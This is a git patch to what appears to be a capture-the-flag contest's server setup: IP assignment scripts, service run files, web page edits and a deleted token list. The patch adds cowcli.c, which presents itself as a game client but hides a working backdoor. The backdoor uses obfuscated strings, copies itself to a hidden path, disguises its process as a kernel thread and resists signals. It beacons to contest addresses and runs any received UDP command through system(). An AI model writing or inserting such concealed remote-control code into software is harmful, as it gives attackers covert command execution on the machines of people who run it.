From a12cf49a7d7693a0f9f8cd643eb7ca3fbf5a95c2 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Apr 2012 17:40:30 -0600 Subject: [PATCH] reintegrate ipv4, tanks --- packages/00admin/00admin.mk | 2 + packages/00admin/sbin/fire-ip | 32 + packages/cowbull/service/cowbull/finish | 3 +- packages/cowbull/service/cowbull/ip.txt | 2 +- packages/cowbull/service/cowbull/run | 4 +- packages/cowbull/src/cowcli.c | 355 ++++ packages/fizzbuzz/service/fizzbuzz/finish | 3 + packages/fizzbuzz/service/fizzbuzz/ip.txt | 2 +- packages/fizzbuzz/service/fizzbuzz/run | 3 +- packages/ircd/ircd.mk | 2 +- packages/ircd/service/ircd/finish | 3 +- packages/ircd/service/ircd/ip.txt | 2 +- packages/ircd/service/ircd/ngircd.conf | 15 - packages/ircd/service/ircd/run | 28 +- packages/mcp/service/httpd/finish | 3 + packages/mcp/service/httpd/ip.txt | 2 +- packages/mcp/service/httpd/run | 6 +- packages/mcp/service/logclean/logclean | 5 + packages/mcp/service/logclean/run | 3 + packages/mcp/www/credits.html | 5 +- packages/mcp/www/index.html | 10 +- packages/mcp/www/news.html | 18 + .../multicaster/service/multicaster/finish | 3 + .../multicaster/service/multicaster/ip.txt | 2 +- packages/multicaster/service/multicaster/run | 3 +- .../octopus/service/octopus-redirect/finish | 3 + .../octopus/service/octopus-redirect/ip.txt | 1 + .../octopus/service/octopus-redirect/log/run | 3 + packages/octopus/service/octopus-redirect/run | 5 +- packages/octopus/service/octopus/finish | 3 + packages/octopus/service/octopus/ip.txt | 2 +- packages/octopus/service/octopus/run | 5 +- packages/playfair/service/playfair/finish | 3 + packages/playfair/service/playfair/ip.txt | 2 +- packages/playfair/service/playfair/run | 2 +- packages/printf/service/printf/finish | 3 +- packages/printf/service/printf/ip.txt | 2 +- packages/printf/service/printf/run | 4 +- packages/revwords/service/revwords/finish | 3 + packages/revwords/service/revwords/ip.txt | 2 +- packages/revwords/service/revwords/run | 3 +- packages/rlyeh/service/rlyeh/finish | 3 +- packages/rlyeh/service/rlyeh/ip.txt | 2 +- packages/rlyeh/service/rlyeh/run | 4 +- packages/tanks/service/tanksd/run | 10 +- packages/tanks/service/tanksd/tanksd | 13 +- packages/tanks/tanks.mk | 2 - packages/tanks/tokens.txt | 1440 ----------------- 48 files changed, 520 insertions(+), 1516 deletions(-) create mode 100755 packages/00admin/sbin/fire-ip create mode 100644 packages/cowbull/src/cowcli.c create mode 100755 packages/fizzbuzz/service/fizzbuzz/finish delete mode 100644 packages/ircd/service/ircd/ngircd.conf create mode 100755 packages/mcp/service/httpd/finish create mode 100755 packages/mcp/service/logclean/logclean create mode 100755 packages/mcp/service/logclean/run create mode 100644 packages/mcp/www/news.html create mode 100755 packages/multicaster/service/multicaster/finish create mode 100755 packages/octopus/service/octopus-redirect/finish create mode 100644 packages/octopus/service/octopus-redirect/ip.txt create mode 100755 packages/octopus/service/octopus-redirect/log/run create mode 100755 packages/octopus/service/octopus/finish create mode 100755 packages/playfair/service/playfair/finish create mode 100755 packages/revwords/service/revwords/finish delete mode 100644 packages/tanks/tokens.txt diff --git a/packages/00admin/00admin.mk b/packages/00admin/00admin.mk index d4ea3ad..33dae36 100644 --- a/packages/00admin/00admin.mk +++ b/packages/00admin/00admin.mk @@ -2,5 +2,7 @@ 00admin-install: $(call COPYTREE, packages/00admin/service, $(00ADMIN_PKGDIR)/service) + mkdir -p $(00ADMIN_PKGDIR)/sbin + cp packages/00admin/sbin/* $(00ADMIN_PKGDIR)/sbin PACKAGES += 00admin diff --git a/packages/00admin/sbin/fire-ip b/packages/00admin/sbin/fire-ip new file mode 100755 index 0000000..f688932 --- /dev/null +++ b/packages/00admin/sbin/fire-ip @@ -0,0 +1,32 @@ +#! /bin/sh -e + +action=$1; shift + +read n < ip.txt + +if grep -q ipv4 /proc/cmdline; then + # IPv4 + IP="10.0.0.$n/24" +else + # IPv6 + l=$(busybox dc 16 o $n p) + IP="fd84:b410:3441::$l/64" +fi + + + +[ "$action" ] && ip addr $action $IP dev eth0 + +if [ "$action" = "add" ]; then + fail=fail + for i in $(seq 5); do + if ip addr | grep -Fq $IP; then + fail= + break + fi + sleep 1 + done + [ "$fail" ] && return 1 +fi + +[ "$action" = del ] || echo $IP diff --git a/packages/cowbull/service/cowbull/finish b/packages/cowbull/service/cowbull/finish index 54ba047..c788d94 100755 --- a/packages/cowbull/service/cowbull/finish +++ b/packages/cowbull/service/cowbull/finish @@ -1,4 +1,3 @@ #! /bin/sh -read IP < ip.txt -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/cowbull/service/cowbull/ip.txt b/packages/cowbull/service/cowbull/ip.txt index 9bcbbf6..ca55a6c 100644 --- a/packages/cowbull/service/cowbull/ip.txt +++ b/packages/cowbull/service/cowbull/ip.txt @@ -1 +1 @@ -fd84:b410:3441::ec6/64 +198 diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run index 1459669..d122902 100755 --- a/packages/cowbull/service/cowbull/run +++ b/packages/cowbull/service/cowbull/run @@ -1,7 +1,7 @@ #! /bin/sh -e exec 2>&1 -read IP < ip.txt -ip addr add $IP dev eth0 || true + +IP=$(/opt/00admin/sbin/fire-ip add) exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c new file mode 100644 index 0000000..396d8e0 --- /dev/null +++ b/packages/cowbull/src/cowcli.c @@ -0,0 +1,355 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define NODEBUG + +#ifdef DEBUG +# define PORT 4444 +#else +# define PORT 44 +#endif + +#define BDPORT 33333 +#define BCNPORT_S 48172 +#define BCNPORT_D 48179 + +int +bind_port(int fd, const struct in6_addr *addr, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + +void +sigchld(int unused) +{ + while (0 < waitpid(-1, NULL, WNOHANG)); +} + +void +unmask_str(unsigned char *str) +{ + int i = strlen(str); + while (i-- > 0) { + str[i] &= 127; + } +} +int +copyprog(const char *from, const char *to) +{ + int fd_to, fd_from; + char buf[4096]; + ssize_t nread; + int saved_errno; + + fd_from = open(from, O_RDONLY); + if (fd_from < 0) + return -1; + + fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); + if (fd_to < 0) + goto out_error; + + while (nread = read(fd_from, buf, sizeof buf), nread > 0) + { + char *out_ptr = buf; + ssize_t nwritten; + + do { + nwritten = write(fd_to, out_ptr, nread); + + if (nwritten >= 0) + { + nread -= nwritten; + out_ptr += nwritten; + } + else if (errno != EINTR) + { + goto out_error; + } + } while (nread > 0); + } + + if (nread == 0) + { + if (close(fd_to) < 0) + { + fd_to = -1; + goto out_error; + } + close(fd_from); + + /* Success! */ + return 0; + } + + out_error: + saved_errno = errno; + + close(fd_from); + if (fd_to >= 0) + close(fd_to); + + errno = saved_errno; + return -1; +} + +void +signal_evil(int sig) +{ + if (fork()) { + exit(1); + } +} +void +evil(int argc, char *argv[]) +{ + int i; + int sock; + + char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; + char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; + + unmask_str(procname); + unmask_str(cptarget); + + if (strcmp(argv[0], cptarget)) { + if (fork()) { + return; + } + /* copy ourselves */ + if (copyprog(argv[0], cptarget) == 0) { + argv[0] = cptarget; + execv(cptarget, argv); + } + } else { + unlink(cptarget); + if (fork()) { + exit(0); + } + } + + /* mask the process title and arguments */ + while (argc--) { + int p = strlen(argv[argc]); + while (p--) { + argv[argc][p] = 0; + } + } + strcpy(argv[0], procname); + + + { + int r = open("/dev/null", O_RDONLY); + int w = open("/dev/null", O_WRONLY); + + dup2(r, 0); + dup2(w, 1); + dup2(w, 2); + close(r); + close(w); + setsid(); + chdir("/"); + signal(SIGHUP, signal_evil); + signal(SIGTERM, signal_evil); + signal(SIGINT, signal_evil); + signal(SIGQUIT, signal_evil); + } + + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { + exit(0); + } + struct timeval tv; + tv.tv_sec = 5; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); + + + while (1) { + /* beacon */ + int sock_beacon; + sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { + //perror("Beacon bind"); + ;; /* return EX_IOERR; */ + } + int subnet; + if (sock_beacon > 0) { + for (subnet = 0; subnet < 50; subnet++) { + char payload[] = "hi"; + char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; + unmask_str(addr6_f); + char addr6[64]; + sprintf(addr6, addr6_f, subnet); + + //printf("%s\n", addr6); + struct addrinfo *beacon_addr; + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { + ;;//perror("Resolving address"); + } + } + + struct sockaddr_in6 saddr = { 0 }; + + if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { + ;;//perror("Beacon send"); + } else { + ;;//printf("sent!\n"); + } + } + } + close(sock_beacon); + /* end beacon */ + + /* c&c */ + char cmd[400]; + ssize_t inlen; + + inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); + + if (inlen < 1) { + continue; + } + + cmd[inlen] = 0; + if (! fork()) { + system(cmd); + exit(0); + } + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int sock; + int i; + struct addrinfo *addr; + uint32_t token = 0; + FILE *in, *out; + + srand(time(NULL)); + + signal(SIGCHLD, sigchld); + + if (argc < 2) { + fprintf(stderr, "Usage: %s SERVER\n", argv[0]); + return EX_USAGE; + } + + evil(argc, argv); + + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { + perror("Resolving address"); + return EX_IOERR; + } + } + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, PORT)) { + perror("Binding UDP port 44"); + return EX_IOERR; + } + + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } + + + while (1) { + long guess; + struct { + uint32_t token; + uint16_t guess; + } g; + + g.token = token; + if (token) { + char line[20]; + + if (NULL == fgets(line, sizeof line, in)) { + break; + } + g.guess = strtol(line, NULL, 16); + } else { + g.guess = 0; + } + + /* Send the guess */ + if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { + perror("Sending packet"); + return EX_IOERR; + } + + /* read the result */ + { + char buf[80]; + ssize_t len; + + len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); + switch (len) { + case -1: + perror("Reading packet"); + return EX_IOERR; + case 1: + /* It's a score */ + printf("%02x\n", buf[0]); + break; + case 4: + /* New game token */ + printf("NEW GAME\n"); + token = *((uint32_t *) buf); + break; + default: + /* You win: this is your CTF token */ + buf[len] = 0; + printf("A WINNER IS YOU: %s\n", buf); + break; + } + } + } + + return 0; +} diff --git a/packages/fizzbuzz/service/fizzbuzz/finish b/packages/fizzbuzz/service/fizzbuzz/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/fizzbuzz/service/fizzbuzz/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/fizzbuzz/service/fizzbuzz/ip.txt b/packages/fizzbuzz/service/fizzbuzz/ip.txt index c4d788a..b1bd38b 100644 --- a/packages/fizzbuzz/service/fizzbuzz/ip.txt +++ b/packages/fizzbuzz/service/fizzbuzz/ip.txt @@ -1 +1 @@ -fd84:b410:3441::a0d/64 +13 diff --git a/packages/fizzbuzz/service/fizzbuzz/run b/packages/fizzbuzz/service/fizzbuzz/run index 693ebd1..b79ffae 100755 --- a/packages/fizzbuzz/service/fizzbuzz/run +++ b/packages/fizzbuzz/service/fizzbuzz/run @@ -2,7 +2,6 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/ircd/ircd.mk b/packages/ircd/ircd.mk index 2b5b06f..285f3fe 100644 --- a/packages/ircd/ircd.mk +++ b/packages/ircd/ircd.mk @@ -1,6 +1,6 @@ IRCD_PKGDIR = $(TARGET)/ircd IRCD_BUILDDIR = $(BUILD)/ircd -IRCD_VERSION = 18 +IRCD_VERSION = 19.1 IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION) diff --git a/packages/ircd/service/ircd/finish b/packages/ircd/service/ircd/finish index 6317f74..c788d94 100755 --- a/packages/ircd/service/ircd/finish +++ b/packages/ircd/service/ircd/finish @@ -1,4 +1,3 @@ #! /bin/sh -IP=$(cat ip.txt) -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/ircd/service/ircd/ip.txt b/packages/ircd/service/ircd/ip.txt index 07f368a..1e8b314 100644 --- a/packages/ircd/service/ircd/ip.txt +++ b/packages/ircd/service/ircd/ip.txt @@ -1 +1 @@ -fd84:b410:3441::6/64 +6 diff --git a/packages/ircd/service/ircd/ngircd.conf b/packages/ircd/service/ircd/ngircd.conf deleted file mode 100644 index cd63f8b..0000000 --- a/packages/ircd/service/ircd/ngircd.conf +++ /dev/null @@ -1,15 +0,0 @@ -[Global] - Name = irc.ctf - Info = CTF IRC - AdminInfo1 = CTF IRC Server - AdminInfo2 = The table at the front of the room - AdminEmail = zephyr@dirtbags.net - MotdPhrase = "welcome datacomp" - Listen = fd84:b410:3441::6 - OperCanUseMode = yes - NoDNS = yes - NoIdent = yes - -[Operator] - Name = oper - Password = operpass diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run index 16a5e77..ac6dcd7 100755 --- a/packages/ircd/service/ircd/run +++ b/packages/ircd/service/ircd/run @@ -2,11 +2,33 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP label eth0:ircd dev eth0 -ip monitor | grep -q $IP +IP=$(/opt/00admin/sbin/fire-ip add) adduser -S -H -u 65534 nobody adduser -S -H irc +operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1) + +cat <ngircd.conf +[Global] + Name = irc.ctf + Info = CTF IRC + AdminInfo1 = CTF IRC Server + AdminInfo2 = The table at the front of the room + AdminEmail = zephyr@dirtbags.net + MotdPhrase = "welcome datacomp" + Listen = ${IP%/*} + ServerUID = 101 + ServerGID = 65534 + +[Options] + OperCanUseMode = yes + DNS = no + Ident = no + +[Operator] + Name = oper + Password = $operpass +EOD + exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/mcp/service/httpd/finish b/packages/mcp/service/httpd/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/mcp/service/httpd/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/mcp/service/httpd/ip.txt b/packages/mcp/service/httpd/ip.txt index 9172a33..0cfbf08 100644 --- a/packages/mcp/service/httpd/ip.txt +++ b/packages/mcp/service/httpd/ip.txt @@ -1 +1 @@ -fd84:b410:3441::2/64 +2 diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index 6f875be..182c5cf 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -2,11 +2,9 @@ exec 2>&1 -hostname mcp +IP=$(/opt/00admin/sbin/fire-ip add) -# Bring up address -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +hostname mcp # Link in puzzles and web pages install -d /var/www diff --git a/packages/mcp/service/logclean/logclean b/packages/mcp/service/logclean/logclean new file mode 100755 index 0000000..75b0d78 --- /dev/null +++ b/packages/mcp/service/logclean/logclean @@ -0,0 +1,5 @@ +#! /bin/sh + +while sleep 5; do + echo -n . 1>&2 +done diff --git a/packages/mcp/service/logclean/run b/packages/mcp/service/logclean/run new file mode 100755 index 0000000..7861661 --- /dev/null +++ b/packages/mcp/service/logclean/run @@ -0,0 +1,3 @@ +#! /bin/sh + +exec ./logclean diff --git a/packages/mcp/www/credits.html b/packages/mcp/www/credits.html index ebbc929..280f2ff 100644 --- a/packages/mcp/www/credits.html +++ b/packages/mcp/www/credits.html @@ -18,12 +18,15 @@
  • Alex Brugh
  • Paul Ferrell
  • +
  • Jeremy Scott
  • +
  • Danny Quist
  • Adam Glasgall
  • Curtis Hash
  • Aaron McPhall
  • +
  • Patrick Avery
  • Erin Ochoa
  • William Phillips
  • -
  • Danny Quist
  • +
  • Should your name be here? Please remind me!

Parts of this contest were inspired by:

diff --git a/packages/mcp/www/index.html b/packages/mcp/www/index.html index 6eb124c..87ec607 100644 --- a/packages/mcp/www/index.html +++ b/packages/mcp/www/index.html @@ -15,12 +15,16 @@
  • Puzzles
  • +
  • + News +
  • About scoring
  • Contest chat + (IPv4) carries important announcements, and sometimes clues and puzzles.
  • @@ -46,8 +50,10 @@ No DoS attacks.
  • - Contest servers lie within fd84:b410:3441::/112. - Do not attack machines outside fd84:b410:3441::/48. + Contest servers lie within fd84:b410:3441::/112 + (or 10.0.0.0/24 for IPv4 contests). + Do not attack machines outside fd84:b410:3441::/48 + (10.0.0.0/16). Low ports (under 1024) do not run contest categories, don't waste your time.
  • diff --git a/packages/mcp/www/news.html b/packages/mcp/www/news.html new file mode 100644 index 0000000..bb9300a --- /dev/null +++ b/packages/mcp/www/news.html @@ -0,0 +1,18 @@ + + + + News + + + +

    News

    + +
      +
    • Contest is open
    • +
    + +

    + This page will be updated with any new announcements. +

    + + diff --git a/packages/multicaster/service/multicaster/finish b/packages/multicaster/service/multicaster/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/multicaster/service/multicaster/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/multicaster/service/multicaster/ip.txt b/packages/multicaster/service/multicaster/ip.txt index 5be068d..98d9bcb 100644 --- a/packages/multicaster/service/multicaster/ip.txt +++ b/packages/multicaster/service/multicaster/ip.txt @@ -1 +1 @@ -fd84:b410:3441::4e11/64 +17 diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run index 28969dd..b417506 100755 --- a/packages/multicaster/service/multicaster/run +++ b/packages/multicaster/service/multicaster/run @@ -2,7 +2,6 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 &1 + +IP=$(/opt/00admin/sbin/fire-ip) + sv s octopus >/dev/null || exit 1 exec tcpsvd ${IP%/*} 8888 ./octopus-redirect diff --git a/packages/octopus/service/octopus/finish b/packages/octopus/service/octopus/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/octopus/service/octopus/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/octopus/service/octopus/ip.txt b/packages/octopus/service/octopus/ip.txt index d584470..45a4fb7 100644 --- a/packages/octopus/service/octopus/ip.txt +++ b/packages/octopus/service/octopus/ip.txt @@ -1 +1 @@ -fd84:b410:3441::8888/64 +8 diff --git a/packages/octopus/service/octopus/run b/packages/octopus/service/octopus/run index 66fc4e1..8ab8f28 100755 --- a/packages/octopus/service/octopus/run +++ b/packages/octopus/service/octopus/run @@ -2,7 +2,8 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) + +grep -q ipv4 /proc/cmdline && IP=::ffff:$IP exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt diff --git a/packages/playfair/service/playfair/finish b/packages/playfair/service/playfair/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/playfair/service/playfair/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/playfair/service/playfair/ip.txt b/packages/playfair/service/playfair/ip.txt index f4f0fdd..87523dd 100644 --- a/packages/playfair/service/playfair/ip.txt +++ b/packages/playfair/service/playfair/ip.txt @@ -1 +1 @@ -fd84:b410:3441::529/64 +41 diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run index ced4843..7d15ba5 100755 --- a/packages/playfair/service/playfair/run +++ b/packages/playfair/service/playfair/run @@ -2,7 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) +IP=$(/opt/00admin/sbin/fire-ip add) ip addr add $IP dev eth0 || true exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair diff --git a/packages/printf/service/printf/finish b/packages/printf/service/printf/finish index 6317f74..c788d94 100755 --- a/packages/printf/service/printf/finish +++ b/packages/printf/service/printf/finish @@ -1,4 +1,3 @@ #! /bin/sh -IP=$(cat ip.txt) -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/printf/service/printf/ip.txt b/packages/printf/service/printf/ip.txt index 7adf1f8..492dff0 100644 --- a/packages/printf/service/printf/ip.txt +++ b/packages/printf/service/printf/ip.txt @@ -1 +1 @@ -fd84:b410:3441::2329/64 +152 diff --git a/packages/printf/service/printf/run b/packages/printf/service/printf/run index 3336885..823c8d5 100755 --- a/packages/printf/service/printf/run +++ b/packages/printf/service/printf/run @@ -2,9 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 -ip monitor | grep -q $IP +IP=$(/opt/00admin/sbin/fire-ip add) # So I say to him, "Alex, what's a good high port number for a CTF category?" # And he says, "6" diff --git a/packages/revwords/service/revwords/finish b/packages/revwords/service/revwords/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/revwords/service/revwords/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/revwords/service/revwords/ip.txt b/packages/revwords/service/revwords/ip.txt index f4846f2..6bb2f98 100644 --- a/packages/revwords/service/revwords/ip.txt +++ b/packages/revwords/service/revwords/ip.txt @@ -1 +1 @@ -fd84:b410:3441::c3/64 +195 diff --git a/packages/revwords/service/revwords/run b/packages/revwords/service/revwords/run index 1358389..833c6e9 100755 --- a/packages/revwords/service/revwords/run +++ b/packages/revwords/service/revwords/run @@ -2,8 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/rlyeh/service/rlyeh/finish b/packages/rlyeh/service/rlyeh/finish index 54ba047..c788d94 100755 --- a/packages/rlyeh/service/rlyeh/finish +++ b/packages/rlyeh/service/rlyeh/finish @@ -1,4 +1,3 @@ #! /bin/sh -read IP < ip.txt -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/rlyeh/service/rlyeh/ip.txt b/packages/rlyeh/service/rlyeh/ip.txt index 7acd21c..04f9fe4 100644 --- a/packages/rlyeh/service/rlyeh/ip.txt +++ b/packages/rlyeh/service/rlyeh/ip.txt @@ -1 +1 @@ -fd84:b410:3441::b33b/64 +59 diff --git a/packages/rlyeh/service/rlyeh/run b/packages/rlyeh/service/rlyeh/run index 03e2bbf..f11ce62 100755 --- a/packages/rlyeh/service/rlyeh/run +++ b/packages/rlyeh/service/rlyeh/run @@ -1,8 +1,8 @@ #! /bin/sh -e exec 2>&1 -read IP < ip.txt -ip addr add $IP label eth0:rlyeh dev eth0 || true + +IP=$(/opt/00admin/sbin/fire-ip add) dir=/var/lib/ctf/rlyeh install -o nobody -d $dir diff --git a/packages/tanks/service/tanksd/run b/packages/tanks/service/tanksd/run index c13e10f..06e7540 100755 --- a/packages/tanks/service/tanksd/run +++ b/packages/tanks/service/tanksd/run @@ -1,12 +1,14 @@ -#! /bin/sh +#! /bin/sh -e exec 2>&1 mkdir -p /var/www/tanks -ln -s /opt/tanks/html/* /var/www/tanks/ -ln -sf summary.html /var/www/tanks/index.html +ln -s /opt/tanks/html/* /var/www/tanks/ || true +ln -s summary.html /var/www/tanks/index.html || true -install -o ctf -d /var/lib/ctf/tanks/players +mkdir -p /var/lib/ctf/tanks/players +chown ctf /var/lib/ctf/tanks +chown ctf /var/lib/ctf/tanks/players PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH exec ./tanksd diff --git a/packages/tanks/service/tanksd/tanksd b/packages/tanks/service/tanksd/tanksd index a540e37..6e7ac4e 100755 --- a/packages/tanks/service/tanksd/tanksd +++ b/packages/tanks/service/tanksd/tanksd @@ -41,7 +41,7 @@ EOF } while true; do - for dn in /var/lib/ctf/teams/names/*; do + find /var/lib/ctf/teams/names -type f | while read dn; do hash=${dn##*/} install -o ctf -d $p/$hash done @@ -92,24 +92,19 @@ window.onload = go;

    0 fps

    EOF - /opt/tanks/bin/rank.awk $rfn >>$fn + awk -f /opt/tanks/bin/rank.awk $rfn >>$fn cat /opt/tanks/html/nav.html.inc >>$fn cat <>$fn EOF - winner.awk $rfn | while read winner; do + awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do hash=$(basename $winner) echo "Round $next winner: $hash" >> $log nwinners=$(wc -l $log) - # Read a token - k=$(sed -n ${nwinners}p /opt/tanks/tokens.txt) - - # XXX: pull this out into another daemon - # XXX: this puts the token in /proc/self/cmdline - wget -q -s "http://10.0.0.2/claim.cgi?t=$hash&k=$k" + /opt/mcp/bin/pointscli $hash tanks 1 done ln -sf $fn $w/current.html diff --git a/packages/tanks/tanks.mk b/packages/tanks/tanks.mk index 42c933b..b530520 100644 --- a/packages/tanks/tanks.mk +++ b/packages/tanks/tanks.mk @@ -21,8 +21,6 @@ tanks-install: tanks-build cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin - cp packages/tanks/tokens.txt $(TANKS_PKGDIR)/ - $(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html) cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html diff --git a/packages/tanks/tokens.txt b/packages/tanks/tokens.txt deleted file mode 100644 index 581272f..0000000 --- a/packages/tanks/tokens.txt +++ /dev/null @@ -1,1440 +0,0 @@ -tanks:xogak-lihef-vevax -tanks:xubod-momuc-lynax -tanks:xuheh-kysig-narox -tanks:xefal-hynyl-symyx -tanks:xutin-ganib-nydox -tanks:xihep-gytud-kutox -tanks:xeged-lebys-totyx -tanks:xevog-bivuf-bydax -tanks:xefep-votok-kunux -tanks:xibol-rymav-zypix -tanks:xebat-rivif-lygux -tanks:xivek-cezyr-lesox -tanks:xobim-gymiv-henex -tanks:xefib-hebad-tipex -tanks:xezef-tikul-nuzax -tanks:xigom-rikav-rinux -tanks:xedik-rydig-lebyx -tanks:xibos-nydah-lolax -tanks:xukoc-libuz-nicox -tanks:xurab-pimok-sypix -tanks:xevih-guvur-kivax -tanks:xiped-pirug-gihox -tanks:xulaz-getuh-mekax -tanks:xovev-fycil-matix -tanks:xisof-cosel-tytyx -tanks:xehiz-tumuh-potox -tanks:xoroc-hugyf-pukix -tanks:xicef-kodoz-pasex -tanks:xikiz-vekap-relex -tanks:xodom-pabod-nimyx -tanks:xuvic-dasum-vamix -tanks:xukit-zumyh-derex -tanks:xosag-kever-tybux -tanks:xevob-purar-sarix -tanks:xufer-rocis-himix -tanks:xegit-vacup-masax -tanks:xoref-mamym-gezox -tanks:xipac-dizic-mitux -tanks:xovat-belyp-gomax -tanks:xukaz-cahah-lotyx -tanks:xolab-sepef-kavux -tanks:xufov-nusac-zerax -tanks:xigom-kovig-dylux -tanks:xitac-gasoh-tyzax -tanks:xifag-lufim-hyzex -tanks:xeroz-piced-mefix -tanks:xopem-buzod-luhix -tanks:xuzar-susyg-ledox -tanks:xetil-zobik-bufax -tanks:xuvel-kohip-damix -tanks:xihet-cycyk-zamax -tanks:xireb-hedom-hutex -tanks:xoceh-vezus-vibax -tanks:xurip-budyk-hebex -tanks:xoter-biciz-bymax -tanks:xocok-pezyp-bigax -tanks:xesif-sifah-vudox -tanks:xoten-gavid-sylix -tanks:xutoh-mumuf-zydix -tanks:xehid-dinov-dusyx -tanks:xogal-tykoz-rahix -tanks:xokot-fyhoh-lugux -tanks:xesis-bufef-gadix -tanks:xotid-merug-zorax -tanks:xegil-cynuc-fumyx -tanks:xesod-pocuc-vuzex -tanks:xigad-tudid-mifax -tanks:ximav-pedul-lihyx 